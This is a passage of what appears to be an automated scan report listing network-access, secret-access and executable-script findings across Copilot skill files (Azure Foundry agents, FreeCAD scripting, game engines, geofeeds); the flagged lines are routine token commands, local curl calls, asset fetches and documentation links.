  • Network accessline 57
    4. Authenticate and sync with a token for `https://ai.azure.com/`.
  • Network accessline 74
    | Script path | Canonical path is `infra/scripts/sync-foundry-agents.ps1`, adapted to repository layout. | | Parameters | `$SubscriptionId`, `$ProjectEndpoint`, `$ManifestPath`, `$ModelName`, `$AgentNamePrefix`, `$ApiVersion = '2025-11-15-p
  • Network accessline 75
    | Parameters | `$SubscriptionId`, `$ProjectEndpoint`, `$ManifestPath`, `$ModelName`, `$AgentNamePrefix`, `$ApiVersion = '2025-11-15-preview'`. | | Token | `az account get-access-token --resource https://ai.azure.com/ --query accessToken -o 
  • Network accessline 76
    | Token | `az account get-access-token --resource https://ai.azure.com/ --query accessToken -o tsv`. |
  • Network accessline 84
    For bash in `Microsoft.Resources/deploymentScripts`, authenticate with `az login --identity --username "$CLIENT_ID"`, acquire the token with `az account get-access-token --resource https://ai.azure.com/`, iterate definitions from `FOUNDRY_A
  • Network accessline 114
    | Symptom | Cause | Resolution | | --- | --- | --- | | `401 Unauthorized` | Token expired or wrong audience. | Re-run `az account get-access-token --resource https://ai.azure.com/`. |
  • Network accessline 115
    | --- | --- | --- | | `401 Unauthorized` | Token expired or wrong audience. | Re-run `az account get-access-token --resource https://ai.azure.com/`. | | `403 Forbidden` | Missing Azure AI User role. | Assign the role on the Foundry project 
  • Network accessline 116
    | `401 Unauthorized` | Token expired or wrong audience. | Re-run `az account get-access-token --resource https://ai.azure.com/`. |
  • Network accessline 142
    ### Commands - `az account set --subscription <subscription>` - `az account get-access-token --resource https://ai.azure.com/`
  • Network accessline 143
    - `az account set --subscription <subscription>` - `az account get-access-token --resource https://ai.azure.com/` - `<sync script command>`
  • Network accessline 144
    - `az account get-access-token --resource https://ai.azure.com/`
  • Network accessline 153
    - [ ] Manifest exists or was scaffolded with `useCaseId`, `description`, and `baseInstruction`. - [ ] Endpoint, subscription ID, model deployment name, and agent name prefix are known. - [ ] Token audience is `https://ai.azure.com/` and the
  • Network accessline 154
    - [ ] Endpoint, subscription ID, model deployment name, and agent name prefix are known. - [ ] Token audience is `https://ai.azure.com/` and the token is not printed. - [ ] Agent names are built from `{prefix}-{useCaseId}`.
  • Network accessline 155
    - [ ] Token audience is `https://ai.azure.com/` and the token is not printed.

harness/github-copilot/skills/foundry-hosted-agent-copilotkit/SKILL.md

  • Network accessline 53
    | Build generative UI | Return compact model-consumable data, not rich formatting. | Render rich content in `useRenderToolCall` or the CopilotKit render map. | Confirm rendering while streaming and after stream end. | | Share agent state | 
  • Network accessline 55
    | Debug stream failures | `curl -N` the AG-UI endpoint with a minimal `RunAgentInput` body. | Inspect browser console and network after backend stream is proven good. | Compare raw SSE events with rendered UI state. |

harness/github-copilot/skills/foundry-hosted-agent-copilotkit/references/architecture.md

  • Network accessline 62
    - **Architecture A/B**: run the FastAPI/ASP.NET service directly; point the CopilotKit runtime's `HttpAgent` at `http://localhost:<port>/`.
  • Network accessline 84
    - Token audience is `https://ai.azure.com/.default` — the default `cognitiveservices.azure.com` scope yields 401 "audience is incorrect". - Keyless (Entra / `DefaultAzureCredential`) is the norm; the async Python credential path needs `aioh

harness/github-copilot/skills/foundry-hosted-agent-copilotkit/references/deploy-loop.md

  • Network accessline 41
    Deploy the AG-UI endpoint (Architecture A/C service, or rely on the hosted invocations endpoint for B) where the CopilotKit runtime can reach it server-side; set the runtime's agent URL env var accordingly. Keep auth keyless (Entra) with th

harness/github-copilot/skills/foundry-hosted-agent-copilotkit/references/hitl.md

  • Network accessline 24
    **`.NET`** uses a different mechanism than Python's wrapper flag: wrap the tool in `ApprovalRequiredAIFunction`, then wrap the *agent* in a `DelegatingAIAgent` that bridges approval content to/from the `request_approval` client tool call (t
  • Network accessline 105
    **Root cause (isolated by calling the hosted agent's bare `/responses` endpoint with curl — no AG-UI, no CopilotKit in the loop):** chaining `previous_response_id` through a response that resolved an `mcp_approval_response` makes the hosted

harness/github-copilot/skills/foundry-hosted-agent-copilotkit/references/troubleshooting.md

  • Network accessline 9
    1. `curl -N -X POST <agui-endpoint> -H 'Content-Type: application/json' -d '<minimal RunAgentInput>'` — read raw AG-UI SSE events. Reproduces → frontend innocent.
  • Network accessline 36
    | Symptom | Root cause | Fix | | --- | --- | --- | | 401 "audience is incorrect" | Token requested with default `cognitiveservices.azure.com` scope | Request scope `https://ai.azure.com/.default` |
  • Network accessline 37
    | --- | --- | --- | | 401 "audience is incorrect" | Token requested with default `cognitiveservices.azure.com` scope | Request scope `https://ai.azure.com/.default` | | 403 `Microsoft.MachineLearningServices/workspaces/agents/action` despit
  • Network accessline 38
    | 401 "audience is incorrect" | Token requested with default `cognitiveservices.azure.com` scope | Request scope `https://ai.azure.com/.default` |

harness/github-copilot/skills/freecad-scripts/SKILL.md

  • Network accessline 196
    - [Writing Python code](https://wiki.freecad.org/Manual:A_gentle_introduction#Writing_Python_code)
  • Network accessline 197
    - [Manipulating FreeCAD objects](https://wiki.freecad.org/Manual:A_gentle_introduction#Manipulating_FreeCAD_objects)
  • Network accessline 198
    - [Vectors and Placements](https://wiki.freecad.org/Manual:A_gentle_introduction#Vectors_and_Placements)
  • Network accessline 199
    - [Creating and manipulating geometry](https://wiki.freecad.org/Manual:Creating_and_manipulating_geometry)
  • Network accessline 200
    - [Creating parametric objects](https://wiki.freecad.org/Manual:Creating_parametric_objects)
  • Network accessline 201
    - [Creating interface tools](https://wiki.freecad.org/Manual:Creating_interface_tools)
  • Network accessline 202
    - [Python](https://en.wikipedia.org/wiki/Python_%28programming_language%29)
  • Network accessline 203
    - [Introduction to Python](https://wiki.freecad.org/Introduction_to_Python)
  • Network accessline 204
    - [Python scripting tutorial](https://wiki.freecad.org/Python_scripting_tutorial)
  • Network accessline 205
    - [FreeCAD scripting basics](https://wiki.freecad.org/FreeCAD_Scripting_Basics)
  • Network accessline 206
    - [Gui Command](https://wiki.freecad.org/Gui_Command)

harness/github-copilot/skills/freecad-scripts/references/geometry-and-shapes.md

  • Network accessline 7
    - [Creating and manipulating geometry](https://wiki.freecad.org/Manual:Creating_and_manipulating_geometry)
  • Network accessline 8
    - [Part scripting](https://wiki.freecad.org/Part_scripting)
  • Network accessline 9
    - [Topological data scripting](https://wiki.freecad.org/Topological_data_scripting)
  • Network accessline 10
    - [Mesh scripting](https://wiki.freecad.org/Mesh_Scripting)
  • Network accessline 11
    - [Mesh to Part conversion](https://wiki.freecad.org/Mesh_to_Part)
  • Network accessline 12
    - [Sketcher scripting](https://wiki.freecad.org/Sketcher_scripting)
  • Network accessline 13
    - [Drawing API example](https://wiki.freecad.org/Drawing_API_example)
  • Network accessline 14
    - [Part: Create a ball bearing I](https://wiki.freecad.org/Scripted_Parts:_Ball_Bearing_-_Part_1)
  • Network accessline 15
    - [Part: Create a ball bearing II](https://wiki.freecad.org/Scripted_Parts:_Ball_Bearing_-_Part_2)
  • Network accessline 16
    - [Line drawing function](https://wiki.freecad.org/Line_drawing_function)

harness/github-copilot/skills/freecad-scripts/references/gui-and-interface.md

  • Network accessline 7
    - [Creating interface tools](https://wiki.freecad.org/Manual:Creating_interface_tools)
  • Network accessline 8
    - [Gui Command](https://wiki.freecad.org/Gui_Command)
  • Network accessline 9
    - [Define a command](https://wiki.freecad.org/Command)
  • Network accessline 10
    - [PySide](https://wiki.freecad.org/PySide)
  • Network accessline 11
    - [PySide beginner examples](https://wiki.freecad.org/PySide_Beginner_Examples)
  • Network accessline 12
    - [PySide intermediate examples](https://wiki.freecad.org/PySide_Intermediate_Examples)
  • Network accessline 13
    - [PySide advanced examples](https://wiki.freecad.org/PySide_Advanced_Examples)
  • Network accessline 14
    - [PySide usage snippets](https://wiki.freecad.org/PySide_usage_snippets)
  • Network accessline 15
    - [Interface creation](https://wiki.freecad.org/Interface_creation)
  • Network accessline 16
    - [Dialog creation](https://wiki.freecad.org/Dialog_creation)
  • Network accessline 17
    - [Dialog creation with various widgets](https://wiki.freecad.org/Dialog_creation_with_various_widgets)
  • Network accessline 18
    - [Dialog creation reading and writing files](https://wiki.freecad.org/Dialog_creation_reading_and_writing_files)
  • Network accessline 19
    - [Dialog creation setting colors](https://wiki.freecad.org/Dialog_creation_setting_colors)
  • Network accessline 20
    - [Dialog creation image and animated GIF](https://wiki.freecad.org/Dialog_creation_image_and_animated_GIF)
  • Network accessline 21
    - [Qt Example](https://wiki.freecad.org/Qt_Example)
  • Network accessline 22
    - [3D view](https://wiki.freecad.org/3D_view)
  • Network accessline 23
    - [The Coin scenegraph](https://wiki.freecad.org/Scenegraph)
  • Network accessline 24
    - [Pivy](https://wiki.freecad.org/Pivy)

harness/github-copilot/skills/freecad-scripts/references/parametric-objects.md

  • Network accessline 7
    - [Creating parametric objects](https://wiki.freecad.org/Manual:Creating_parametric_objects)
  • Network accessline 8
    - [Create a FeaturePython object part I](https://wiki.freecad.org/Create_a_FeaturePython_object_part_I)
  • Network accessline 9
    - [Create a FeaturePython object part II](https://wiki.freecad.org/Create_a_FeaturePython_object_part_II)
  • Network accessline 10
    - [Scripted objects](https://wiki.freecad.org/Scripted_objects)
  • Network accessline 11
    - [Scripted objects saving attributes](https://wiki.freecad.org/Scripted_objects_saving_attributes)
  • Network accessline 12
    - [Scripted objects migration](https://wiki.freecad.org/Scripted_objects_migration)
  • Network accessline 13
    - [Scripted objects with attachment](https://wiki.freecad.org/Scripted_objects_with_attachment)
  • Network accessline 14
    - [Viewprovider](https://wiki.freecad.org/Viewprovider)
  • Network accessline 15
    - [Custom icon in tree view](https://wiki.freecad.org/Custom_icon_in_tree_view)
  • Network accessline 16
    - [Properties](https://wiki.freecad.org/Property)
  • Network accessline 17
    - [PropertyLink: InList and OutList](https://wiki.freecad.org/PropertyLink:_InList_and_OutList)
  • Network accessline 18
    - [FeaturePython methods](https://wiki.freecad.org/FeaturePython_methods)

harness/github-copilot/skills/freecad-scripts/references/scripting-fundamentals.md

  • Network accessline 7
    - [A gentle introduction](https://wiki.freecad.org/Manual:A_gentle_introduction)
  • Network accessline 8
    - [Introduction to Python](https://wiki.freecad.org/Introduction_to_Python)
  • Network accessline 9
    - [Python scripting tutorial](https://wiki.freecad.org/Python_scripting_tutorial)
  • Network accessline 10
    - [FreeCAD Scripting Basics](https://wiki.freecad.org/FreeCAD_Scripting_Basics)
  • Network accessline 11
    - [Scripting and macros](https://wiki.freecad.org/Scripting_and_macros)
  • Network accessline 12
    - [Working with macros](https://wiki.freecad.org/Macros)
  • Network accessline 13
    - [Code snippets](https://wiki.freecad.org/Code_snippets)
  • Network accessline 14
    - [Debugging](https://wiki.freecad.org/Debugging)
  • Network accessline 15
    - [Profiling](https://wiki.freecad.org/Profiling)
  • Network accessline 16
    - [Python development environment](https://wiki.freecad.org/Python_Development_Environment)
  • Network accessline 17
    - [Extra python modules](https://wiki.freecad.org/Extra_python_modules)
  • Network accessline 18
    - [FreeCAD vector math library](https://wiki.freecad.org/FreeCAD_vector_math_library)
  • Network accessline 19
    - [Embedding FreeCAD](https://wiki.freecad.org/Embedding_FreeCAD)
  • Network accessline 20
    - [Embedding FreeCADGui](https://wiki.freecad.org/Embedding_FreeCADGui)
  • Network accessline 21
    - [Macro at startup](https://wiki.freecad.org/Macro_at_Startup)
  • Network accessline 22
    - [How to install macros](https://wiki.freecad.org/How_to_install_macros)
  • Network accessline 23
    - [IPython notebook integration](https://wiki.freecad.org/IPython_notebook_integration)
  • Network accessline 24
    - [Quantity](https://wiki.freecad.org/Quantity)

harness/github-copilot/skills/freecad-scripts/references/workbenches-and-advanced.md

  • Network accessline 7
    - [Workbench creation](https://wiki.freecad.org/Workbench_creation)
  • Network accessline 8
    - [Script tutorial](https://wiki.freecad.org/Scripts)
  • Network accessline 9
    - [Macros recipes](https://wiki.freecad.org/Macros_recipes)
  • Network accessline 10
    - [FEM scripting](https://wiki.freecad.org/FEM_Tutorial_Python)
  • Network accessline 11
    - [Path scripting](https://wiki.freecad.org/Path_scripting)
  • Network accessline 12
    - [Raytracing scripting](https://wiki.freecad.org/Raytracing_API_example)
  • Network accessline 13
    - [Svg namespace](https://wiki.freecad.org/Svg_Namespace)
  • Network accessline 14
    - [Python](https://wiki.freecad.org/Python)
  • Network accessline 15
    - [PythonOCC](https://wiki.freecad.org/PythonOCC)

harness/github-copilot/skills/frontend-accessibility/references/wcag-2.2-aa.md

  • Network accessline 3
    Use the normative [WCAG 2.2 Recommendation](https://www.w3.org/TR/WCAG22/) for exact criteria and conformance language. Use the [WAI-ARIA Authoring Practices Guide](https://www.w3.org/WAI/ARIA/apg/) as non-normative design-pattern and keybo

harness/github-copilot/skills/frontend-discoverability-assets/references/icon-matrix.md

  • Network accessline 15
    Use `sizes="any"` only for scalable resources, as defined by the HTML link-type rules: https://html.spec.whatwg.org/multipage/links.html

harness/github-copilot/skills/frontend-discoverability-assets/references/social-metadata.md

  • Network accessline 16
    Source: https://ogp.me/

harness/github-copilot/skills/frontend-discoverability-assets/references/technical-seo.md

  • Network accessline 23
    - https://developers.google.com/search/docs/fundamentals/seo-starter-guide
  • Network accessline 24
    - https://developers.google.com/search/docs/appearance/structured-data/intro-structured-data
  • Network accessline 25
    - https://developers.google.com/search/docs/crawling-indexing/robots/intro
  • Network accessline 26
    - https://developers.google.com/search/docs/crawling-indexing/sitemaps/overview

harness/github-copilot/skills/frontend-project-setup/scripts/install_companions.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/github-copilot/skills/frontend-project-setup/tests/test_install_companions.py

  • Executable scriptline 1
    Executable file

harness/github-copilot/skills/frontend-release-quality-gate/scripts/check_traceability.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/github-copilot/skills/frontend-release-quality-gate/tests/test_check_traceability.py

  • Executable scriptline 1
    Executable file

harness/github-copilot/skills/game-engine/assets/2d-maze-game.md

  • Network accessline 5
    **Source reference:** [MDN - HTML5 Gamedev Phaser Device Orientation](https://developer.mozilla.org/en-US/docs/Games/Tutorials/HTML5_Gamedev_Phaser_Device_Orientation)
  • Network accessline 6
    **Live demo:** [Cyber Orb](https://orb.enclavegames.com/)
  • Network accessline 7
    **Source code:** [GitHub - EnclaveGames/Cyber-Orb](https://github.com/EnclaveGames/Cyber-Orb)

harness/github-copilot/skills/game-engine/assets/2d-platform-game.md

  • Network accessline 9
    **Source:** Based on the [Mozilla HTML5 Games Workshop - Platformer](https://mozdevs.github.io/html5-games-workshop/en/guides/platformer/start-here/). Project starter files available at the workshop repository.

harness/github-copilot/skills/game-engine/assets/gameBase-template-repo.md

  • Network accessline 5
    **Repository:** [github.com/deepnight/gameBase](https://github.com/deepnight/gameBase)
  • Network accessline 6
    **Author:** [Sebastien Benard / deepnight](https://deepnight.net)
  • Network accessline 8
    **Level editor integration:** [LDtk](https://ldtk.io)
  • Network accessline 228
    1. **Install Haxe** (4.0+): [haxe.org](https://haxe.org/download/)
  • Network accessline 229
    2. **Install HashLink** (for desktop target): [hashlink.haxe.org](https://hashlink.haxe.org/)
  • Network accessline 230
    3. **Install LDtk** (for level editing): [ldtk.io](https://ldtk.io/)
  • Network accessline 235
    # Clone the repository git clone https://github.com/deepnight/gameBase.git my-game
  • Network accessline 236
    git clone https://github.com/deepnight/gameBase.git my-game

harness/github-copilot/skills/game-engine/assets/paddle-game-template.md

  • Network accessline 9
    **Source:** Based on the [MDN 2D Breakout Game Tutorial](https://developer.mozilla.org/en-US/docs/Games/Tutorials/2D_Breakout_game_pure_JavaScript).

harness/github-copilot/skills/game-engine/assets/simple-2d-engine.md

  • Network accessline 5
    **Source references:** - [Part 1 - Basics](https://deepnight.net/tutorial/a-simple-platformer-engine-part-1-basics/)
  • Network accessline 6
    - [Part 1 - Basics](https://deepnight.net/tutorial/a-simple-platformer-engine-part-1-basics/)
  • Network accessline 7
    - [Part 2 - Collisions](https://deepnight.net/tutorial/a-simple-platformer-engine-part-2-collisions/)
  • Network accessline 9
    **Author:** [Sebastien Benard / deepnight](https://deepnight.net)

harness/github-copilot/skills/game-engine/references/3d-web-games.md

  • Network accessline 5
    Sources: [MDN Web Docs -- Games Techniques: 3D on the web](https://developer.mozilla.org/en-US/docs/Games/Techniques/3D_on_the_web)
  • Network accessline 99
    </head>   <body>     <script src="https://cdnjs.cloudflare.com/ajax/libs/three.js/r79/three.min.js"></script>
  • Network accessline 100
    <body>     <script src="https://cdnjs.cloudflare.com/ajax/libs/three.js/r79/three.min.js"></script>     <script>
  • Network accessline 101
    <script src="https://cdnjs.cloudflare.com/ajax/libs/three.js/r79/three.min.js"></script>
  • Network accessline 197
    - Use `Math.abs()` when animating scale with `Math.sin()` to avoid negative scale values. - The render loop uses `requestAnimationFrame` for smooth, browser-optimized frame updates. - Consult [Three.js documentation](https://threejs.org/doc
  • Network accessline 199
    - Consult [Three.js documentation](https://threejs.org/docs/) for the full API.
  • Network accessline 210
    <script src="https://cdn.babylonjs.com/v7.34.1/babylon.js"></script>
  • Network accessline 275
    - `BABYLON.Vector3` and `BABYLON.Color3` are used extensively for positioning and coloring. - Babylon.js includes a built-in math library for vectors, colors, and matrices. - Consult [Babylon.js documentation](https://doc.babylonjs.com/) fo
  • Network accessline 277
    - Consult [Babylon.js documentation](https://doc.babylonjs.com/) for advanced features like physics, particles, and post-processing.
  • Network accessline 291
    <meta charset="utf-8" />     <title>A-Frame Demo</title>     <script src="https://aframe.io/releases/1.6.0/aframe.min.js"></script>
  • Network accessline 292
    <title>A-Frame Demo</title>     <script src="https://aframe.io/releases/1.6.0/aframe.min.js"></script>     <style>
  • Network accessline 293
    <script src="https://aframe.io/releases/1.6.0/aframe.min.js"></script>
  • Network accessline 394
    - Entity-component system architecture - Built-in physics engine powered by [ammo.js](https://github.com/kripken/ammo.js/)
  • Network accessline 395
    - Built-in physics engine powered by [ammo.js](https://github.com/kripken/ammo.js/)
  • Network accessline 403
    - PlayCanvas excels for team-based game development thanks to its online editor with real-time collaboration. - The engine-only approach is lightweight and can be embedded in any web page. - Consult the [PlayCanvas developer documentation](
  • Network accessline 405
    - Consult the [PlayCanvas developer documentation](https://developer.playcanvas.com/) for tutorials on entities, components, cameras, lights, materials, and animations.
  • Network accessline 497
    - Shaders run on the GPU and offload computation from the CPU, which is critical for real-time performance. - Three.js, Babylon.js, and other frameworks abstract much of the shader setup; pure WebGL requires significantly more boilerplate. 
  • Network accessline 498
    - Three.js, Babylon.js, and other frameworks abstract much of the shader setup; pure WebGL requires significantly more boilerplate. - [ShaderToy](https://www.shadertoy.com/) is an excellent resource for shader examples and inspiration. - GL
  • Network accessline 499
    - [ShaderToy](https://www.shadertoy.com/) is an excellent resource for shader examples and inspiration.
  • Network accessline 732
    - **A-Frame** -- built-in VR mode button; declarative HTML-based scenes automatically work in VR. - **Three.js** -- provides WebXR integration via `renderer.xr`. See [Three.js VR documentation](https://threejs.org/docs/#manual/en/introducti
  • Network accessline 733
    - **Three.js** -- provides WebXR integration via `renderer.xr`. See [Three.js VR documentation](https://threejs.org/docs/#manual/en/introduction/How-to-create-VR-content).
  • Network accessline 752
    - Always test on real headsets; the experience is vastly different from desktop preview. - Maintain a stable, high frame rate (72-90+ FPS) to prevent motion sickness. - Consult [MDN WebXR Device API](https://developer.mozilla.org/en-US/docs
  • Network accessline 754
    - Consult [MDN WebXR Device API](https://developer.mozilla.org/en-US/docs/Web/API/WebXR_Device_API) for the full API reference.

harness/github-copilot/skills/game-engine/references/algorithms.md

  • Network accessline 10
    > Source: https://deepnight.net/tutorial/bresenham-magic-raycasting-line-of-sight-pathfinding/
  • Network accessline 118
    > Source: https://medium.com/@erikkubiak/dev-log-1-custom-engine-writing-my-collision-system-2a97856f9a93
  • Network accessline 243
    > Source: https://www.gamedev.net/tutorials/programming/math-and-physics/a-quick-lesson-in-velocity-and-speed-r6109/
  • Network accessline 354
    > Source: https://winter.dev/articles/physics-engine
  • Network accessline 551
    > Source: https://www.gamedev.net/tutorials/programming/math-and-physics/vector-maths-for-game-dev-beginners-r5442/

harness/github-copilot/skills/game-engine/references/basics.md

  • Network accessline 5
    Sources: - https://developer.mozilla.org/en-US/docs/Games/Introduction
  • Network accessline 6
    - https://developer.mozilla.org/en-US/docs/Games/Introduction
  • Network accessline 7
    - https://developer.mozilla.org/en-US/docs/Games/Anatomy

harness/github-copilot/skills/game-engine/references/game-control-mechanisms.md

  • Network accessline 507
    <script src="https://unpkg.com/leapjs@0.6.4/leap-0.6.4.min.js"></script>

harness/github-copilot/skills/game-engine/references/game-engine-core-principles.md

  • Network accessline 5
    Source: https://www.gamedev.net/articles/programming/general-and-gameplay-programming/making-a-game-engine-core-design-principles-r3210/
  • Network accessline 555
    class WebFileSystem extends FileSystem {   async readFile(path) {     const response = await fetch(path);
  • Network accessline 556
    async readFile(path) {     const response = await fetch(path);     return response.arrayBuffer();
  • Network accessline 557
    const response = await fetch(path);

harness/github-copilot/skills/game-engine/references/techniques.md

  • Network accessline 9
    **Source:** [MDN - Async Scripts for asm.js](https://developer.mozilla.org/en-US/docs/Games/Techniques/Async_scripts)
  • Network accessline 67
    **Source:** [MDN - Optimizing Startup Performance](https://developer.mozilla.org/en-US/docs/Web/Performance/Guides/Optimizing_startup_performance)
  • Network accessline 143
    **Source:** [MDN - WebRTC Data Channels](https://developer.mozilla.org/en-US/docs/Games/Techniques/WebRTC_data_channels)
  • Network accessline 178
    - The WebRTC API is primarily known for audio and video communication but includes robust peer-to-peer data channel capabilities. - Libraries are recommended to simplify implementation and work around browser differences. - Full WebRTC docu
  • Network accessline 180
    - Full WebRTC documentation is available at [MDN WebRTC API](https://developer.mozilla.org/en-US/docs/Web/API/WebRTC_API).
  • Network accessline 186
    **Source:** [MDN - Audio for Web Games](https://developer.mozilla.org/en-US/docs/Games/Techniques/Audio_for_Web_Games)
  • Network accessline 271
    async function getFile(filepath) {   const response = await fetch(filepath);
  • Network accessline 272
    const response = await fetch(filepath);
  • Network accessline 355
    **Source:** [MDN - 2D Collision Detection](https://developer.mozilla.org/en-US/docs/Games/Techniques/2D_collision_detection)
  • Network accessline 526
    **Source:** [MDN - Tilemaps](https://developer.mozilla.org/en-US/docs/Games/Techniques/Tilemaps)
  • Network accessline 618
    **Source:** [MDN - Controls Gamepad API](https://developer.mozilla.org/en-US/docs/Games/Techniques/Controls_Gamepad_API)
  • Network accessline 801
    **Source:** [MDN - Crisp Pixel Art Look](https://developer.mozilla.org/en-US/docs/Games/Techniques/Crisp_pixel_art_look)

harness/github-copilot/skills/game-engine/references/terminology.md

  • Network accessline 5
    Source: https://www.gameindustrycareerguide.com/video-game-development-terms-glossary/

harness/github-copilot/skills/game-engine/references/web-apis.md

  • Network accessline 595
    <!-- A simple SVG health bar --> <svg width="220" height="30" xmlns="http://www.w3.org/2000/svg">
  • Network accessline 596
    <svg width="220" height="30" xmlns="http://www.w3.org/2000/svg">
  • Network accessline 757
    // Load and play a sound effect async function playSFX(url) {   const response = await fetch(url);
  • Network accessline 758
    async function playSFX(url) {   const response = await fetch(url);   const arrayBuffer = await response.arrayBuffer();
  • Network accessline 759
    const response = await fetch(url);
  • Network accessline 1219
    - **Parallel asset processing**: Decode images, decompress data, or parse level files without blocking rendering. - **OffscreenCanvas**: Render to a canvas from within a worker, enabling parallel rendering pipelines. - **Non-blocking networ
  • Network accessline 1221
    - **Non-blocking networking**: Perform `fetch()` or XHR calls in a worker to keep the game loop smooth.
  • Network accessline 1394
    For new projects, the **Fetch API** (`fetch()`) is generally preferred over XHR. It provides a cleaner promise-based interface, supports streaming via `ReadableStream`, and integrates well with async/await. However, XHR remains relevant whe

harness/github-copilot/skills/gdpr-compliant/references/Security.md

  • Access to secretsline 84
    [Credential-related source omitted]
  • Access to secretsline 190
    [Credential-related source omitted]

harness/github-copilot/skills/generate-image/SKILL.md

  • Network accessline 50
    | Provider | Model | Best for | Key URL | | --- | --- | --- | --- | | OpenAI | `gpt-image-2` | High quality, polished visuals, stronger text rendering, paid image generation. | https://platform.openai.com/api-keys |
  • Network accessline 51
    | --- | --- | --- | --- | | OpenAI | `gpt-image-2` | High quality, polished visuals, stronger text rendering, paid image generation. | https://platform.openai.com/api-keys | | Google Gemini | Nano Banana / Gemini image models | Fast iterati
  • Network accessline 52
    | OpenAI | `gpt-image-2` | High quality, polished visuals, stronger text rendering, paid image generation. | https://platform.openai.com/api-keys |
  • Network accessline 53
    | Google Gemini | Nano Banana / Gemini image models | Fast iteration, free tier availability, visual drafts and variations. | https://aistudio.google.com/apikey |
  • Access to secretsline 55
    [Credential-related source omitted]
  • Network accessline 60
    | --- | --- | | Method | `POST` | | URL | `https://api.openai.com/v1/images/generations` |
  • Network accessline 61
    [Credential-related source omitted]
  • Network accessline 62
    | URL | `https://api.openai.com/v1/images/generations` |
  • Network accessline 86
    | --- | --- | | Method | `POST` | | URL shape | `https://ai.google.dev/gemini-api/docs/models<model>:generateContent` |
  • Network accessline 87
    [Credential-related source omitted]
  • Network accessline 88
    | URL shape | `https://ai.google.dev/gemini-api/docs/models<model>:generateContent` |
  • Network accessline 169
    - [OpenAI API keys](https://platform.openai.com/api-keys)
  • Network accessline 170
    - [Google AI Studio API keys](https://aistudio.google.com/apikey)

harness/github-copilot/skills/geofeed-tuner/references/extended-guide.md

  • Network accessline 282
    "fastah-ip-geofeed": {       "type": "http",       "url": "https://mcp.fastah.ai/mcp"
  • Network accessline 283
    "type": "http",       "url": "https://mcp.fastah.ai/mcp"     }
  • Network accessline 284
    "url": "https://mcp.fastah.ai/mcp"
  • Network accessline 287
    - Server: `https://mcp.fastah.ai/mcp`

harness/github-copilot/skills/geofeed-tuner/references/rfc8805.txt

  • Network accessline 49
    Information about the current status of this document, any errata,    and how to provide feedback on it may be obtained at    https://www.rfc-editor.org/info/rfc8805.
  • Network accessline 51
    https://www.rfc-editor.org/info/rfc8805.
  • Network accessline 58
    This document is subject to BCP 78 and the IETF Trust's Legal    Provisions Relating to IETF Documents    (https://trustee.ietf.org/license-info) in effect on the date of
  • Network accessline 59
    Provisions Relating to IETF Documents    (https://trustee.ietf.org/license-info) in effect on the date of    publication of this document.  Please review these documents
  • Network accessline 60
    (https://trustee.ietf.org/license-info) in effect on the date of
  • Network accessline 565
    [ISO.3166.1alpha2]               ISO, "ISO 3166-1 decoding table",               <http://www.iso.org/iso/home/standards/country_codes/iso-
  • Network accessline 566
    ISO, "ISO 3166-1 decoding table",               <http://www.iso.org/iso/home/standards/country_codes/iso-               3166-1_decoding_table.htm>.
  • Network accessline 567
    <http://www.iso.org/iso/home/standards/country_codes/iso-
  • Network accessline 570
    [ISO.3166.2]               ISO, "ISO 3166-2:2007",               <http://www.iso.org/iso/home/standards/
  • Network accessline 571
    ISO, "ISO 3166-2:2007",               <http://www.iso.org/iso/home/standards/               country_codes.htm#2012_iso3166-2>.
  • Network accessline 572
    <http://www.iso.org/iso/home/standards/
  • Network accessline 576
    Requirement Levels", BCP 14, RFC 2119,               DOI 10.17487/RFC2119, March 1997,               <https://www.rfc-editor.org/info/rfc2119>.
  • Network accessline 578
    <https://www.rfc-editor.org/info/rfc2119>.
  • Network accessline 580
    [RFC3629]  Yergeau, F., "UTF-8, a transformation format of ISO               10646", STD 63, RFC 3629, DOI 10.17487/RFC3629, November               2003, <https://www.rfc-editor.org/info/rfc3629>.
  • Network accessline 582
    2003, <https://www.rfc-editor.org/info/rfc3629>.
  • Network accessline 585
    Separated Values (CSV) Files", RFC 4180,               DOI 10.17487/RFC4180, October 2005,               <https://www.rfc-editor.org/info/rfc4180>.
  • Network accessline 587
    <https://www.rfc-editor.org/info/rfc4180>.
  • Network accessline 589
    [RFC4291]  Hinden, R. and S. Deering, "IP Version 6 Addressing               Architecture", RFC 4291, DOI 10.17487/RFC4291, February               2006, <https://www.rfc-editor.org/info/rfc4291>.
  • Network accessline 591
    2006, <https://www.rfc-editor.org/info/rfc4291>.
  • Network accessline 594
    (CIDR): The Internet Address Assignment and Aggregation               Plan", BCP 122, RFC 4632, DOI 10.17487/RFC4632, August               2006, <https://www.rfc-editor.org/info/rfc4632>.
  • Network accessline 596
    2006, <https://www.rfc-editor.org/info/rfc4632>.
  • Network accessline 599
    Address Text Representation", RFC 5952,               DOI 10.17487/RFC5952, August 2010,               <https://www.rfc-editor.org/info/rfc5952>.
  • Network accessline 601
    <https://www.rfc-editor.org/info/rfc5952>.
  • Network accessline 604
    Ed., "Hypertext Transfer Protocol (HTTP/1.1): Caching",               RFC 7234, DOI 10.17487/RFC7234, June 2014,               <https://www.rfc-editor.org/info/rfc7234>.
  • Network accessline 606
    <https://www.rfc-editor.org/info/rfc7234>.
  • Network accessline 608
    [RFC8174]  Leiba, B., "Ambiguity of Uppercase vs Lowercase in RFC               2119 Key Words", BCP 14, RFC 8174, DOI 10.17487/RFC8174,               May 2017, <https://www.rfc-editor.org/info/rfc8174>.
  • Network accessline 610
    May 2017, <https://www.rfc-editor.org/info/rfc8174>.
  • Network accessline 615
    Edition)", World Wide Web Consortium Recommendation REC-               xml-20081126, November 2008,               <http://www.w3.org/TR/2008/REC-xml-20081126>.
  • Network accessline 617
    <http://www.w3.org/TR/2008/REC-xml-20081126>.
  • Network accessline 621
    [GEOPRIV]  IETF, "Geographic Location/Privacy (geopriv)",               <http://datatracker.ietf.org/wg/geopriv/>.
  • Network accessline 622
    <http://datatracker.ietf.org/wg/geopriv/>.
  • Network accessline 624
    [GEO_Google]               Google, LLC, "Google Corp Geofeed",               <https://www.gstatic.com/geofeed/corp_external>.
  • Network accessline 626
    <https://www.gstatic.com/geofeed/corp_external>.
  • Network accessline 628
    [GEO_ICANN]               ICANN, "ICANN Meeting Geolocation Data",               <https://meeting-services.icann.org/geo/google.csv>.
  • Network accessline 630
    <https://meeting-services.icann.org/geo/google.csv>.
  • Network accessline 632
    [GEO_IETF] Kumari, W., "IETF Meeting Network Geolocation Data",               <https://noc.ietf.org/geo/google.csv>.
  • Network accessline 633
